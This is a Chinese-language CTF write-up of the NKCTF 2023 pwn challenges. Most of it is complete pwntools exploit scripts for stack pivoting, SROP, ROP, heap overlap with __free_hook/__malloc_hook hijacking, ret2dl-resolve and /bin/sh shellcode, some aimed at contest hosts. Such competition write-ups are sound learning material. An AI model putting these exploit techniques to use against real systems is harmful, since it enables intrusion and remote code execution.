比赛刚开始环境就全炸了,等到凌晨才有了备用环境。
记录一下第一次熬夜上大分。
NKCTF 2023 Pwn WriteUp
基本都是板子。
ezshellcode
五分钟多了
给了个mmap的rwx,但是入口点做了随机,但但是随机区域在shellcode范围内。
直接nop滑过去,或者其他干了活但等效于啥也没干的指令。
a_story_of_a_pwner
栈迁移,但是rsp没8byte对齐。
可以强行打,但我那天晚上调了接近一个小时都没调出来。
最后还是手动调了pad,手动对齐了一下8byte,很快就出了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./pwn")
libc=ELF("./libc.so.6")
s=remote("node.yuzhian.com.cn",36980)
def menu(ch):
s.sendlineafter(b"> \n",str(ch).encode())
leave_ret=0x40139e
pread=0x401387
menu(4)
s.recvuntil(b"this. ")
libc_base=eval(s.recv(14))-libc.sym.puts
success("libc base: "+hex(libc_base))
ogg=libc_base+0xe3b01
rdx=libc_base+0x142c92
menu(2)
s.sendafter(b"corment?\n",p64(0x401572))
menu(1)
s.sendafter(b"comment?\n",p64(0))
menu(3)
s.sendafter(b"corMenT?\n",p64(rdx))
menu(4)
s.sendafter(b"heart...\n",b"a"*10+p64(0x4050c0-2+10)+p64(pread))
s.send(flat([b"\x00"*2,ogg,0x4050a0-8,leave_ret]))
s.interactive()
|
ez_stack
srop板子题。
ida中间一段看不出来,可以手动送进python然后disasm看看。
1
2
3
4
5
|
mov rax,15;
ret
syscall;
ret
|
看出来sigreturn,然后打就行了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./ez_stack")
s=remote("comentropy.cn",8303)
elf=ELF("./ez_stack")
#sleep(5)
syscall_ret=0x40114e
rax_15_ret=0x401146
s.recv()
sf=SigreturnFrame()
sf.rax=0
sf.rdi=0
sf.rsi=0x404200
sf.rdx=0x1000
sf.rsp=0x404200
sf.rip=syscall_ret
sf2=SigreturnFrame()
sf2.rax=59
sf2.rdi=0x404400
sf2.rsi=0
sf2.rdx=0
sf2.rip=syscall_ret
print(sf)
p=flat([
rax_15_ret,syscall_ret,
])
s.send(b"a"*0x18+p+bytes(sf))
s.send((p+bytes(sf2)).ljust(0x200,b"\x00")+b"/bin/sh\x00")
s.interactive()
|
baby_rop
开头给了一个8byte的fmt,my_read有off-by-null,除此之外没有栈溢出。
考虑把ROP链留在buf里,然后想办法抬栈。如果填充满0x100,rbp的低1byte就会被写0,等到函数返回之前,leave;ret
的时候就能把栈抬起来了。
可以先把canary漏出来,然后把rbp最低一字节清零。
但是不知道会从buf的哪里开始ROP,可以将buf前面写ret,从vuln的末尾ret开始滑,滑到最后的rop链上。基本思想跟第一题的shellcode差不多,区别就是一个用的nop
一个用的ret
。
有可能不成功,多试几次(
最后还要测一下libc,先puts几个got表项然后丢进在线网站查一下就能查出来几个,然后挨个试就行了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./nkctf_message_boards")
s=remote("comentropy.cn",8302)
elf=ELF("./nkctf_message_boards")
libc=ELF("./libc1.so")
#can 41
ret=0x4012B0
rdi=0x401413
s.sendlineafter(b"name: ",b"%41$p")
s.recvuntil(b"Hello, ")
canary=eval(s.recv(18))
success(hex(canary))
p=flat([elf.sym.main])
while len(p)<248:
p=p64(ret)+p
p+=p64(canary)
s.sendafter(b"NKCTF: \n",p)
s.sendlineafter(b"name: ",b"%25$p")
s.recvuntil(b"Hello, ")
libc_base=eval(s.recv(14))-libc.sym._IO_2_1_stderr_
r15__r12=0x000000000040140c
success("libc base: "+hex(libc_base))
p=flat([r15__r12,0,0,0,0,libc_base+0xe3afe])
while len(p)<248:
p=p64(ret)+p
p+=p64(canary)
s.sendafter(b"NKCTF: \n",p)
s.interactive()
|
baby_heap
2.32加上堆指针异或机制之后的板子题。
edit中存在一个off-by-one。
扩大堆块,然后打堆块重叠,随便玩,就是得调两下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./pwn")
s=remote("node.yuzhian.com.cn",35446)
libc=ELF("./libc-2.32.so")
def menu(ch,idx):
s.sendafter(b"choice: ",str(ch).encode())
s.sendafter(b"index: ",str(idx).encode())
def add(idx,sz):
menu(1,idx)
s.sendafter(b"Size: ",str(sz).encode())
def delete(idx):
menu(2,idx)
def edit(idx,content):
menu(3,idx)
s.sendlineafter(b"content: ",content)
def show(idx):
menu(4,idx)
if __name__=="__main__":
for i in range(8):
add(i,0x28)
edit(0,b"a"*0x28+b"\xf1")
delete(1)
add(1,0xe8)
edit(1,flat([
b"a"*0x28,0xf1,
0,0,0,0,0,0x421,
]))
add(15,0x100)
add(14,0x100)
add(13,0x100)
add(12,0x100)
add(9,0x28)
add(10,0x28)
add(11,0x28)
edit(9,b"a"*0x28+b"\xf1")
delete(10)
add(10,0xe8)
edit(12,p64(0x421)*int(0xf0/8))
delete(2)
add(2,0xe8)
delete(3)
edit(2,b"a"*0x30)
show(2)
s.recvline()
libc_base=u64(s.recvline(keepends=False).rjust(6,b"\x00").ljust(8,b"\x00"))-(0x7f3059b16c00-0x7f3059933000)
success("libc base: "+hex(libc_base))
edit(4,b"a"*0x28+b"\x41")
delete(5)
add(5,0x2f)
delete(6)
menu(3,5)
s.sendafter(b"content: ",b"a"*0x30)
show(5)
s.recv(0x30)
heap_xor_key=int.from_bytes(s.recv(5),byteorder="little")
delete(11)
edit(10,b"a"*0x28+p64(0x31)+p64(heap_xor_key^(libc_base+libc.sym.__free_hook)))
add(11,0x28)
add(8,0x28)
edit(8,p64(libc_base+libc.sym.system))
edit(11,b"/bin/sh\x00")
delete(11)
s.interactive()
|
only_read
非预期了。
前面几个base64就是真的base64,字符集没换,随便找个地方encode一下就行了。
注意到setbuf的got表跟puts差两个byte,且程序中存在rdi和rsi相关gadget且没开PIE。
直接爆破setbuf的got表的低2bytes,如果puts的地址爆破成功,就会有地址漏出来,进而ret2libc。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
from pwn import *
import time
context.log_level="debug"
context.arch="amd64"
#s=process("./pwn")
time_pad=1
s=remote("node2.yuzhian.com.cn",39556)
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
while 1:
try:
s.send(b"V2VsY29tZSB0byBOS0NURiE=")
sleep(time_pad)
s.send(b"dGVsbCB5b3UgYSBzZWNyZXQ6")
sleep(time_pad)
s.send(b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45")
sleep(time_pad)
s.send(b"Y2FuIHlvdSBmaW5kIG1lPw==")
rdi=0x401683
rsi_r15=0x401681
p=flat([
b"a"*0x38,
rdi,0,rsi_r15,elf.got.setbuf,0,
elf.plt.read,
rdi,elf.got.setbuf,
elf.plt.setbuf,
elf.sym.next
])
s.send(p)
sleep(time_pad)
s.send(b"\x20\x54")
dat=(s.recvline(timeout=time_pad,keepends=False))
info("dat len: "+hex(len(dat)))
if len(dat)!=6:
raise EOFError
libc_base=u64(dat.ljust(8,b"\x00"))-libc.sym.puts
success("libc base: "+hex(libc_base))
pause()
s.send(flat([
b"a"*0x38,
0x40167c,0,0,0,0,
libc_base+0xe3afe
]))
s.interactive()
except EOFError:
warning("SGE")
sleep(time_pad)
s.close()
#s=process("./pwn")
s=remote("node2.yuzhian.com.cn",39556)
except TimeoutError:
warning("TLE")
sleep(time_pad)
s.close()
#s=process("./pwn")
s=remote("node2.yuzhian.com.cn",39556)
except Exception as e:
error(str(e))
s.interactive()
|
这里也放上从官方wp扒下来的ret2dl-resolve的解法。
需要注意的是,64位的利用路线并不需要strtab,只需要strtab地址可读即可;.rel.plt
对应指针的前导0也不是必须的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
from pwn import *
context(arch="amd64",log_level="debug")
s=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
time_pad=0.1
s.send(b"V2VsY29tZSB0byBOS0NURiE=")
sleep(time_pad)
s.send(b"dGVsbCB5b3UgYSBzZWNyZXQ6")
sleep(time_pad)
s.send(b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45")
sleep(time_pad)
s.send(b"Y2FuIHlvdSBmaW5kIG1lPw==")
sleep(time_pad)
fun_addr=elf.sym.next
read_plt=elf.plt.read
read_got=elf.got.read
bss=0x404060
l_addr=libc.sym.system-libc.sym.read
r_offset=bss+l_addr*-1
if l_addr<0:
l_addr+=0x10000000000000000
rdi=0x401683
rsi=0x401681
plt_load=0x401026
p0=flat([
b"a"*0x38,
rdi,0,rsi,bss+0x100,0,
read_plt,fun_addr
])
s.send(p0)
dynstr=0x4004d8
fake_link_map_addr=bss+0x100
fake_dyn_strtab_addr=fake_link_map_addr+8
fake_dyn_symtab_addr=fake_link_map_addr+0x18
fake_dyn_rel_addr=fake_link_map_addr+0x28
fake_link_map=flat([
l_addr,
0,dynstr, #fake_dyn_strtab_addr
0,read_got-8, #fake_dyn_symtab_addr
0,fake_link_map_addr+0x38, #fake_dyn_rel_addr
r_offset,7,
]).ljust(0x68,b"\x00")+flat([
fake_dyn_strtab_addr,fake_dyn_symtab_addr,b"/bin/sh\x00".ljust(0x80,b"\x00"),fake_dyn_rel_addr
])
s.send(fake_link_map)
sleep(time_pad)
p1=flat([
b"a"*0x38,
rdi,fake_link_map_addr+0x78,
plt_load,
fake_link_map_addr,0
])
s.send(p1)
s.interactive()
|
9961code
第一次见这个题还是在N1CTF Junior。
你可以去网上找找wp,能找到。或者强行弄出来一个execve("/bin/sh",0,0)
也不是不行。
大体思路:栈上存在libc相关指针,泄露之,然后往栈上读rop,打one_gadget。
两个来自Wings博客的shellcode:
1
2
3
4
5
6
7
8
9
|
movq rsp,xmm2
push rsp
pop rsi
l:
shr edi,13
and eax,edi
syscall
jnz l
ret
|
1
2
3
4
5
6
7
8
9
|
movq rsp,xmm2
and eax, 1
and edi, eax
push rsp
pop rsi
syscall
xor eax, eax
syscall
ret
|
再来一个硬搞的,正好22byte,真牛逼。
1
2
3
4
5
6
7
8
|
shellcode="""
xor esi,esi
xor edx,edx
lea edi,[r15+15]
mov ax,0x3b
syscall
"""
payload=asm(shellcode)+b"/bin/sh"
|
bytedance
打的时候想到scanf可以弄大堆块出来,但是发的是字符a
不是数字1
导致白给。off-by-null运用的也不熟练。菜死了。
off-by-null,但只能分配小堆块。那怎么搞大堆块呢?
用scanf输入巨长的字符串的时候会先分配大堆块然后free掉,这里会触发malloc_consolidate
。大堆块就来了。
然后就是各种烦人的堆布局了。我的脚本为了方便调试换了libc,如果用考试版本需要调一下one_gadget
的偏移。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
from pwn import *
context(arch="amd64",log_level="debug")
s=process("./pwn02")
libc=ELF("/root/glibc-dbg/libc-2.23.so")
def menu(ch):
s.sendlineafter(b"Choice:",str(ch).encode())
def add(sz,content=b"/bin/sh\x00"):
menu(1)
s.sendlineafter(b"size:",str(sz).encode())
s.sendlineafter(b"content:",content)
def show(idx):
menu(2)
s.sendlineafter(b"index:",str(idx).encode())
s.recvuntil(b"Content: ")
return s.recvline(keepends=False)
def delete(idx):
menu(3)
s.sendlineafter(b"index",str(idx).encode())
def trigger_consolidate():
s.sendlineafter(b"Choice:",b"1"*0x400)
if __name__=="__main__":
# try to leave ptrs in chunk_list with malloc_consolidate
# no checks on size&prev_size when malloc_consolidate in glibc v2.23
# try to clear prev_inuse bit then trigger consolidate
add(0x28) # 0 header
for i in range(7):
add(0x38)
add(0x18)
add(0x28,b"a"*0x10+p64(0x200)+p64(0x20))
add(0x28) # 10 boarder
for i in range(1,10):
delete(i)
trigger_consolidate()
# shrink chunk, leave prev_size unchanged and set prev_inuse bit 0
delete(0)
add(0x28,b"a"*0x20+p64(0x40))
for i in range(7):
add(0x38)
add(0x18)
add(0x18)
add(0x38)
# free chunk at (end_chunk-prev_size), then trigger consolidate, make it a smallbin.
# then free end_chunk and trigger consolidate again, we'll get end_chunk consolidate with *(end_chunk-prev_size),
# leave ptrs between &(end_chunk-prev_size) to &(end_chunk) in chunk_list.
delete(1)
trigger_consolidate()
delete(10)
trigger_consolidate()
for i in range(7):
add(0x38)
add(0x18)
add(0x18)
add(0x38)
# 0x18:
# 8==17
# 9==18
# 0x38:
# 2==10
# 3==12
# .....
# 7==16
# consolidate with unchanged prev_size, ptr now left in chunk_list
delete(2)
trigger_consolidate()
libc_base=u64(show(10).ljust(8,b"\x00"))-88-libc.sym.__malloc_hook-0x10-0x30
success(hex(libc_base))
add(0x38)
# hijack main_arena
# hijack top chunk ptr
# prepare size in fastbinsY[0]
add(0x18) # 20
delete(8)
delete(20)
delete(17)
add(0x18,p64(0x41))
add(0x18)
add(0x18)
# now fastbinY[chunk size: 0x20] = 0x41
# alloc chunk in main_arena
# chunk by chunk, push it forward, until we can overwrite top chunk ptr
delete(7)
delete(6)
delete(16)
add(0x38,p64(libc_base+libc.sym.__malloc_hook+0x10))
add(0x38)
add(0x38)
add(0x38,p64(libc_base+libc.sym.__malloc_hook+0x40)+b"\x00"*0x20+p64(0x31))
# now time for top chunk ptr
add(0x28,b"\x00"*0x18+p64(libc_base+libc.sym.__malloc_hook-0x10))
add(0x28,p64(libc_base+0x3f42a))
menu(1)
s.sendlineafter(b"size:",str(0x18).encode())
s.interactive()
|
这里也放一下官方wp的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
|
from pwn import *
context(arch="amd64",log_level="debug")
s=process("./pwn02")
libc=ELF("./libc-2.23.so")
def menu(ch):
s.sendlineafter(b"Choice:",str(ch).encode())
def add(sz,content=b"/bin/sh\x00"):
menu(1)
s.sendlineafter(b"size:",str(sz).encode())
s.sendlineafter(b"content:",content)
def show(idx):
menu(2)
s.sendlineafter(b"index:",str(idx).encode())
s.recvuntil(b"Content: ")
return s.recvline(keepends=False)
def delete(idx):
menu(3)
s.sendlineafter(b"index",str(idx).encode())
def trigger_consolidate():
s.sendlineafter(b"Choice:",b"1"*0x400)
if __name__=="__main__":
#gdb.attach(s)
add(0x38) #0
add(0x28)
add(0x28)
add(0x18)
add(0x18)
add(0x38) #5
add(0x28)
add(0x38)
add(0x38)
add(0x38) #9
add(0x38,content=b"a"*0x20+p64(0x200)+p64(0x20))
add(0x38,content=b"end")
for i in range(1,11):
delete(i)
trigger_consolidate()
delete(0)
add(0x38,b"a"*0x38) #0
add(0x38)
add(0x38)
add(0x38)
add(0x38)
add(0x38) #5
add(0x28)
add(0x38)
add(0x38)
delete(1)
delete(2)
delete(3)
trigger_consolidate()
delete(11)
trigger_consolidate()
add(0x28) #1
add(0x28)
add(0x18) #3
add(0x18) #9
add(0x38)
add(0x38)
add(0x28)
add(0x38)
add(0x38) #14
add(0x38,content=b"a"*0x20+p64(0x200)+p64(0x20))
add(0x38,content=b"end")
delete(1)
delete(2)
delete(3)
for i in range(9,16):
delete(i)
trigger_consolidate()
delete(0)
add(0x38,b"a"*0x38)
add(0x38) #1
add(0x38)
add(0x38) #3
libc_base=u64(show(4).ljust(8,b"\x00"))-88-0x3c4b20
success("libc base: "+hex(libc_base))
delete(1)
delete(2)
delete(3)
trigger_consolidate()
add(0x18)
add(0x28)
add(0x38)
add(0x18)
add(0x18,content=flat([0,0x41]))
add(0x28)
add(0x38)
add(0x28)
add(0x38)
add(0x28)
delete(5)
delete(14)
delete(12)
delete(6)
delete(15)
delete(13)
add(0x28,p64(0x41))
add(0x28)
add(0x28)
add(0x38,p64(libc_base+0x3c4b20+8))
add(0x38)
add(0x38)
add(0x38,p64(libc_base+0x3c4b20+8+0x20)+b"\x00"*0x10+p64(0x41))
add(0x38,flat([
b"\x00"*0x20,libc_base+libc.sym.__malloc_hook-0x18,
]))
add(0x18,b"a"*0x18)
add(0x18,p64(libc_base+0xf03a4)*2)
menu(1)
s.sendlineafter(b"size:",str(0x18).encode())
s.interactive()
|
note
年轻人初见musl
之前没接触过musl
,直接当头一棒了属于是。
然而赛后看了一眼wp再动调了一小下才发现残留指针这么多,相关信息基本可以随便漏。
这里先贴一手官方wp里的脚本,得恶补一波musl
了XD。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
from pwn import *
context(arch="amd64",log_level="debug")
s=process("./nk_note")
elf=ELF("./nk_note")
libc=ELF("./libc.so")
def menu(ch,idx):
s.sendafter(b"choice: ",str(ch).encode())
s.sendafter(b"Index: ",str(idx).encode())
def add(idx,sz,content="/bin/sh\x00"):
menu(1,idx)
s.sendafter(b"Size: ",str(sz).encode())
s.sendafter(b"Content: ",content)
def edit(idx,sz,content):
menu(2,idx)
s.sendafter(b"Size: ",str(sz).encode())
s.sendafter(b"Content: ",content)
def delete(idx):
menu(3,idx)
def show(idx):
menu(4,idx)
if __name__=="__main__":
show(16)
heap_base=u64(s.recv(6).ljust(8,b"\x00"))-0x248
success("heap base: "+hex(heap_base))
edit(16,0x1000,b"a"*0x10)
show(16)
s.recvuntil(b"a"*0x10)
elf_base=u64(s.recv(6).ljust(8,b"\x00"))-16672
success("elf base: "+hex(elf_base))
note_addr=elf_base+0x40a0
edit(16,0x1000,p64(heap_base+0x248)+p64(heap_base+0xe0))
add(0,0x28,p64(note_addr))
edit(1394,0x1000,flat([note_addr,elf_base+elf.got.puts]))
show(1)
libc_base=u64(s.recv(6).ljust(8,b"\x00"))-libc.sym.puts
success("libc base: "+hex(libc_base))
add(3,0x10,b"/bin/sh\x00")
edit(1,0x1000,p64(libc.sym.system+libc_base))
show(3)
s.interactive()
|